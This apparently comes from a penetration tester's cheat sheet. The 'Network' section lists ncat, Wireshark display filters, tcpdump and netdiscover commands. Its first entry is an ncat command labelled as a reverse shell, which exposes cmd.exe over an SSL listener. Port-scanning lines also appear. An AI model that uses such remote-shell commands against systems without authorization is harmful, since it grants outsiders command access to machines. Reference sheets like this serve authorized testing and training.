13 - Network

--------------- NET CAT ---------------
Reverse shell from windows using cmd.exe using ssl
     # ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl

Listen on port 4444 using ssl
     # ncat -v $ip 4444 --ssl
     
Netcat port Scanning
     # nc -nvv -w 1 -z $ip 3388-3390

--------------- Wireshark ---------------
Show only SMTP (port 25) and ICMP traffic: 
     tcp.port eq 25 or icmp

Show only traffic in the LAN (192.168.x.x), between workstations and servers -- no Internet: 
     ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16

Filter by a protocol ( e.g. SIP ) and filter out unwanted IPs: 
     ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip

Some commands are equal 
     ip.addr == 10.43.54.65 Equals ip.src == 10.43.54.65 or ip.dst == 10.43.54.65
     ip.addr != 10.43.54.65 Equals ip.src != 10.43.54.65 or ip.dst != 10.43.54.65

--------------- TcpDump ---------------
Display a pcap file
     # tcpdump -r password\_cracking\_filtered.pcap

Display ips and filter and sort
     # tcpdump -n -r password\_cracking\_filtered.pcap | awk -F" " '{print $3}' | sort -u | head

Grab a packet capture on port 80
     # tcpdump tcp port 80 -w output.pcap -i eth0

Check for ACK or PSH flag set in a TCP packet
     # tcpdump -A -n 'tcp\[13\] = 24' -r password\_cracking\_filtered.pcap

Set the ip address as a varble
     # export ip=192.168.1.100 nmap -A -T4 -p- $ip     

Netcat port Scanning
     # nc -nvv -w 1 -z $ip 3388-3390

Discover who else is on the network
     # netdiscover

Discover IP Mac and Mac vendors from ARP
     # netdiscover -r $ip/24